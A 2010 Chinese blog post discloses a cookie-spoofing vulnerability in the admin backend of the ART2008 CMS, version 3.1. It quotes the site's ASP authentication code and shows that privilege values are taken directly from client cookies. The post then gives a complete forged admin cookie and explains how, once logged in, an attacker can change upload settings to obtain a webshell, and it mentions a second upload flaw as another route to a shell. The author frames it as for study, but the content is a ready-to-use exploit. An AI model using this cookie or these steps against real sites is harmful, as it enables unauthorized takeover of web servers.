Art2008 3.1 后台cookies欺骗漏洞

2010, August 26, 12:02 PM. 原创笔记
Submitted by admin

晕了,刚刚从百度上搜索到,黑手的0906期48页上已经有人公布过了这个漏洞

文章我自己就不删了,写的也会累的,是心血,我也没看过黑手的,,知道有人公布过了就行了。

 

FORM http://www.st999.cn/blog   by流浪的风   2010/8/26

程序:ART2008 CMS网站管理系统

版本:3.1,现在最新版本是4.3,已经采用seesion验证,3.1之前的版本可能通杀,未测试

说明:本漏洞测试成功率不太高,仅作学习之用。

分析:

后台登录文件admin_login.asp,其中关键代码

if request("user")="" or request("pass")="" then

  conn.close
  set conn=nothing
  Response.Redirect "login.asp?id=0"
 
  else
 
  user=LCase(chkhtm(request("user")))
  pass=md5(chkhtm(trim(request("pass"))))
 
  sql = "select * from admin where [user]='"&user&"' and [pass]='"&pass&"' and jingyong<>1"
  Set rs = Server.CreateObject("ADODB.RecordSet")
  rs.Open sql,conn,1,3
 
  if rs.recordcount=0 then

  call loglongout()
 
       Response.Redirect "login.asp?id=1"
  end if

并不存在弱智的万能密码漏洞

再看看他调用的检测文件admin_chk.asp

<!--#include file = "admin_conn.asp" -->
<!--#include file = titleb.asp -->
<%
call admin_chk()
%>

简单的call admin_chk()过程

打开titleb.asp这个文件,搜索admin_chk,来到最关键的地方,代码如下

'**************************************************
'管理员用户检测过程
'**************************************************
Sub admin_chk()
Dim adminuser:adminuser=chkhtm(Request.Cookies(Art2008)("adminuser"))
Dim adminpass:adminpass=chkhtm(Request.Cookies(Art2008)("adminpass"))
Dim admindj:admindj=chkhtm(Request.Cookies(Art2008)("admindj"))

if admindj="3" then
Call AdminReadonly()
end if
if adminuser="" or adminpass="" then
  Response.Redirect config("path")&"admin/login.asp?id=8"
end if
Dim AdminChk_sql,AdminChk_rs
AdminChk_sql = "select * from admin where [user]='"&adminuser&"' and [pass]='"&adminpass&"'"
Set AdminChk_rs = Server.CreateObject("ADODB.RecordSet")
AdminChk_rs.Open AdminChk_sql,conn,1,1
if AdminChk_rs.recordcount=0 then
  Response.Cookies(Art2008)("adminuser")=""
  Response.Cookies(Art2008)("adminpass")=""
  Response.Cookies(Art2008)("admindj")=""
  Response.Cookies(Art2008)("OSKEY")=""
  Response.cookies(Art2008)("purview")=""
 
  Response.Redirect config("path")&"admin/login.asp?id=8"
else
 Response.Cookies(Art2008)("admindj")=AdminChk_rs("dj")
 response.cookies(Art2008)("purview")=AdminChk_rs("purview")
    response.cookies(Art2008)("OSKEY")=AdminChk_rs("OSKEY")

end if
AdminChk_rs.close
set AdminChk_rs=nothing
End Sub

admindj purview oskey这三个值直接从cookie中读取,只要满足这三个参数即可:

ASPSESSIONIDSADADATS=FADHBFOCGKFEPHIMFEFLKBDL; Art2008=purview=99999&OSKEY=%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C%2C&upload=admin&fullname=%B9%DC%C0%ED%D4%B1&admindj=1&sex=%CF%C8%C9%FA&adminpass=21232f297a57a5a743894a0e4a801fc3&adminuser=admin

 

可以使用以下这个cookies欺骗登录后台,修改上传设置即可拿shell,或者,用明小子利用上传漏洞(user/uploadfaceok.asp,已有人公布)拿shell亦可。

 

« 上一篇 | 下一篇 »

只显示10条记录相关文章
Trackbacks
点击获得Trackback地址,Encode: UTF-8 点击获得Trackback地址,Encode: GB2312 or GBK 点击获得Trackback地址,Encode: BIG5
发表评论

评论内容 (必填):